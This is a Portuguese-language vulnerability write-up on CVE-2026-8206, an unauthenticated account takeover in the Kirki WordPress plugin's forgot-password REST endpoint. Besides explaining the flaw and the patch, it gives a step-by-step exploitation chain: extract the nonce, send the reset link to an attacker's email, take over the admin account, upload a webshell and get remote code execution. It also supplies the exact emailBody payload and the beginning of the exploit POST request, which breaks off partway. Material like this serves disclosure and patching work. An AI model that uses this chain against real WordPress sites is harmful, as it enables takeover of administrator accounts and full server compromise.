
CVE-2026-8206: Kirki Customizer Framework - Tomada de Conta Não Autenticada (CVSS 9.8)
CVSS v3.1 9.8 / 10.0 CRÍTICO
Vetor: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
A CVE-2026-8206 é uma vulnerabilidade de Tomada de Conta Não Autenticada no Kirki Customizer Framework — um plugin popular de construtor de páginas WordPress com mais de 90.000 instalações ativas. A vulnerabilidade permite que um atacante assuma qualquer conta WordPress (incluindo a de administrador) simplesmente enviando uma única requisição HTTP.
O bug reside no endpoint da API REST kirki-forgot-password do módulo ComponentLibrary. Esse endpoint permite solicitar a redefinição de senha de qualquer usuário e envia o link de redefinição para um endereço de email especificado pelo atacante, em vez do email registrado do usuário.
| Informação | Detalhes |
|---|---|
| Plugin | Kirki Customizer Framework (Construtor de Páginas WordPress) |
| Versões Afetadas | 6.0.0 – 6.0.6 |
| Corrigida | 6.0.7 (ou 6.0.12+) |
| Tipo de Vulnerabilidade | Tomada de Conta Não Autenticada via Sequestro de Email de Redefinição de Senha |
| Endpoint | /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password (ou /wp-json/KirkiComponentLibrary/v1/kirki-forgot-password) |
| CVSS | 9.8 CRÍTICO |
Pré-requisitos de Exploração:
→ Todo site WordPress com Kirki 6.0.0–6.0.6 instalado é vulnerável por padrão.
O Kirki registra endpoints da API REST para o recurso Component Library, incluindo login, register, forgot-password e change-password. Todos eles permitem acesso de convidado (guest_permissions_check retorna true).
O nonce do WordPress é um token de proteção CSRF. O Kirki exige um nonce por meio do cabeçalho X-WP-Element-Nonce ou verifica um parâmetro de nonce na requisição. No entanto, o nonce pode ser gerado/extraído publicamente do lado do cliente.
O WordPress usa get_password_reset_key() para gerar um token de redefinição de senha. Esse token é incluído pelo Kirki no template do email antes do envio.
Arquivo: ComponentLibrary/controller/CompLibFormHandler.php
Na versão vulnerável (6.0.0–6.0.6), a função handle_forgot_password() não verifica se o email fornecido corresponde ao email registrado do usuário. Um atacante pode especificar o nome de usuário da vítima e seu próprio email — o link de redefinição será enviado para o email do atacante.
Código-fonte vulnerável:
public function handle_forgot_password( $request ) {
$form_data = $request->get_body_params();
$this->validate_nonce( 'kirki-forgot-password' );
$email = $form_data['email']; // <-- ATTACKER CONTROLLED
$username = $form_data['username'];
$user = get_user_by( 'login', $username );
//BUG: Does NOT check $email === $user->user_email
// Attacker's email is used directly
$key = get_password_reset_key( $user );
$reset_link = "$url?action=rp&key=$key&login=$username";
// SENDS RESET LINK TO ATTACKER'S EMAIL
wp_mail( $email, $subject, $body_with_reset_link );
// ^^^^^
// ATTACKER'S EMAIL, NOT THE USER'S EMAIL
}
O assunto e o corpo do email são recebidos do cliente por meio dos parâmetros emailSubject e emailBody sem qualquer assinatura HMAC para verificar a integridade. O atacante pode modificar arbitrariamente o conteúdo do email que está sendo enviado.
// VULNERABLE VERSION: No HMAC verification
$email_subject = $form_data['emailSubject']; // Client-controlled
$email_body = $form_data['emailBody']; // Client-controlled
// No verify_email_template_signature()
// PATCHED VERSION (6.0.7+): HMAC verification / Email matching against DB
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
return new WP_REST_Response( array( 'message' => 'If an account exists...' ), 200 );
}
| Fator | Explicação |
|---|---|
| Nenhuma autenticação necessária | guest_permissions_check() retorna true — qualquer pessoa pode chamar o endpoint |
| Qualquer conta pode ser assumida | Apenas o nome de usuário é necessário (padrão: 'admin') — nenhum email/senha é necessário |
| Impacto: Assunção do admin | Assumir admin → enviar webshell → RCE → controle total do servidor |
| Ampla distribuição | O Kirki é um plugin amplamente integrado em muitos temas WordPress |
Explorar a CVE-2026-8206 começa com acesso zero — sem conta, sem senha, sem sessão — até a assunção total do administrador usando apenas requisições HTTP.
Phase 1: Extract Nonce → Obtain nonce from a public page (if required)
Phase 2: Hijack Reset Email → Send reset link to attacker's email
Phase 3: Reset Password → Change admin password using the obtained reset key
Phase 4: Login Admin → Log in with the new password
Phase 5: Webshell Upload → Install backdoor via plugin upload
Phase 6: RCE → Execute arbitrary commands on the server
Baixe o plugin em wordpress.org e abra diretamente o arquivo CompLibFormHandler.php:
// The handle_forgot_password function receives data from the client:
$email_subject = isset( $form_data['emailSubject'] )
? sanitize_text_field( $form_data['emailSubject'] ) : '';
$email_body = isset( $form_data['emailBody'] )
? json_decode( $form_data['emailBody'], true ) : '';
// Email body rendering logic:
foreach ( $email_body as $body_data ) {
if ( $body_data['type'] === 'text' ) {
$email_body = $email_body . $body_data['value'];
} elseif ( $body_data['type'] === 'chip' ) {
$email_body = $email_body . $chip_data[ $body_data['value'] ];
// ^^^^^^^^^^^^^^^^^^^
// $chip_data['reset_link'] = actual reset URL!
}
}
→ A leitura do código revela: emailBody deve ser um array JSON, cada item tem type e value. Se type = chip e value = reset_link, o Kirki insere automaticamente o link de redefinição no email.
Execute grep diretamente dentro do diretório do plugin:
grep -r "emailBody" wp-content/plugins/kirki/assets/js/
grep -r "reset_link" wp-content/plugins/kirki/assets/js/
O código frontend compilado revelará a estrutura JSON exata necessária.
Find endpoint (/wp-json/ or rest_route)
↓
Read PHP source → find $form_data['emailBody']
↓
Understand JSON array format (type / value)
↓
Read chip_data array → find key "reset_link"
↓
Build payload: emailBody=[{"type":"chip","value":"reset_link"}]
↓
Test → success
O atacante envia uma requisição POST para o endpoint forgot-password com o nome de usuário da vítima (admin) e um endereço de email controlado pelo atacante ([email protected]). O servidor gera uma chave de redefinição para a vítima, mas envia o link de redefinição para [email protected].
Enviando a requisição:
POST /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password HTTP/1.1
Host: localhost:8181
Content-Type: application/x-www-form-urlencoded